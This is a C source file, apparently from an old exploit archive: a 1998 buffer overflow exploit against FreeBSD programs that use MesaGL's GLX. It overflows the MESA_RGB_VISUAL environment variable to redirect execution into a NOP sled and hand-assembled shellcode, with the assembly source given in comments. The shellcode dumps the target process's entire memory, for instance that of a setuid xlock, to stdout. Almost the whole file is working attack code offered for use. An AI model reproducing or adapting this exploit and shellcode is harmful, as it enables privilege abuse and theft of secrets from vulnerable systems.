/*
 * Standard buffer overflow exploit. Executes the machine code in "shell"
 * when given almost any FreeBSD executable using MesaGL's GLX as its
 * argument.
 *
 * Tested with MesaGL 2.6, FreeBSD 2.2.5 and alot of GLX programs.
 *
 * Example: ./a.out /usr/local/bin/xlock
 *
 * THIS PROGRAM IS PROVIDED FOR INFORMATIONAL PURPOSES ONLY.
 * ALSO, I DO NOT GARANTEE THIS PROGRAM TO WORK, OR NOT TO FRY
 * YOUR COMPUTER.
 *
 * By bs <bs@oden.se>, 1998
 */

#include <stdlib.h>
#include <string.h>

#include <unistd.h>

#include <err.h>

/* The number of bytes after which we hit the return address */
#define OLEN    (104)

/*
* Gas asm for "shell". Doesn't execve (would be useless), but dumps the
* entire address space of the process to stdout, page by page.
* Write will not send us a SIGSEGV but set errno to "Bad address",
* which we don't care about. We could probably be more picky about what
* range to dump, but that would make it less generic, and my P166 does
* this on xlockmore in 45 seconds.
*
* BUGS:
* Makes stack grow
* Self modifying
* ";" is not a gas comment, but what is?
* My asm experience equals zero
*
* By bs <bs@oden.se>, 1998
 
.data                                           ; self modifying code :-(
.align 1
.globl _main
 
_main:
        jmp     instr
prepare:
        popl    %ebx                            ; syscall's address
        xorl    %eax,%eax
        movb    %al,0x1(%ebx)                   ; change strcpy friendly
        movb    %al,0x2(%ebx)                   ; 0xf to correct 0x0
        movb    %al,0x3(%ebx)
        movb    %al,0x4(%ebx)
        movb    %al,0x6(%ebx)
 
        xorl    %ecx,%ecx                       ; our data pointer
 
        xorl    %edx,%edx
        movw    $0x0fff,%edx
        incl    %edx                            ; step size 4096 (pagesize)
 
        jmp     again                           ; go to work
instr:
        call    prepare
syscall:
        .byte   0x9a,0xf,0xf,0xf,0xf,0x7,0xf
        ret
again:
        xorl    %eax,%eax
        incl    %eax
 
        pushl   %edx                            ; len (pagesize)
        pushl   %ecx                            ; pointer
        pushl   %eax                            ; 1 (stdout)
 
        addb    $0x3,%eax                       ; 1+3 (0x4 = write)
 
        call    syscall
        addb    $0xc,%esp
 
        addl    %edx,%ecx
        jz      exit                            ; ecx wraped -> exit
        jmp     again
 
exit:
        xorl    %eax,%eax
        pushl   %eax                            ; 0 (exit status)
        incl    %eax                            ; 1 (0x1 = exit)
        call    syscall
 
        .byte   0x0                             ; strcpy&co stops here
*
*
*/

unsigned char shell[] = {
  0xeb, 0x1d, 0x5b, 0x31, 0xc0, 0x88, 0x43, 0x1, 0x88, 0x43, 0x2, 0x88,
  0x43, 0x3, 0x88, 0x43, 0x4, 0x88, 0x43, 0x6, 0x31, 0xc9, 0x31, 0xd2, 0x66,
  0xba, 0xff, 0xf, 0x42, 0xeb, 0xd, 0xe8, 0xde, 0xff, 0xff, 0xff, 0x9a, 0xf,
  0xf, 0xf, 0xf, 0x7, 0xf, 0xc3, 0x31, 0xc0, 0x40, 0x52, 0x51, 0x50, 0x83,
  0xc0, 0x3, 0xe8, 0xea, 0xff, 0xff, 0xff, 0x83, 0xc4, 0xc, 0x1, 0xd1, 0x74,
  0x2, 0xeb, 0xe9, 0x31, 0xc0, 0x50, 0x40, 0xe8, 0xd8, 0xff, 0xff, 0xff, 0x0
};

/* Stolen from somebody. Is this better than a constant? Why? */
char *get_esp(void)
{
  asm("movl %esp,%eax");
}

int main(int argc, char **argv)
{
  char *nargv[10];
  char mesa_rgb_visual[512];
  char nopandshell[8096];

  nargv[0] = (argc > 1 ? argv[1] : "./a.out");
  nargv[1] = NULL;

  memset(mesa_rgb_visual, 'a', sizeof(mesa_rgb_visual));
  *((void **)&mesa_rgb_visual[OLEN]) = (void *)(get_esp() + 4096);
  strcpy(&mesa_rgb_visual[OLEN+4], " 16");
  setenv("MESA_RGB_VISUAL", mesa_rgb_visual, 1);

  memset(nopandshell, 0x90, sizeof(nopandshell));
  memcpy(nopandshell+sizeof(nopandshell)-sizeof(shell),
         shell,
         sizeof(shell));
  setenv("SHELLCODE", nopandshell, 1);

  execv(nargv[0], nargv);
  err(1, "execve");
}
/*                    www.hack.co.za              [2000]*/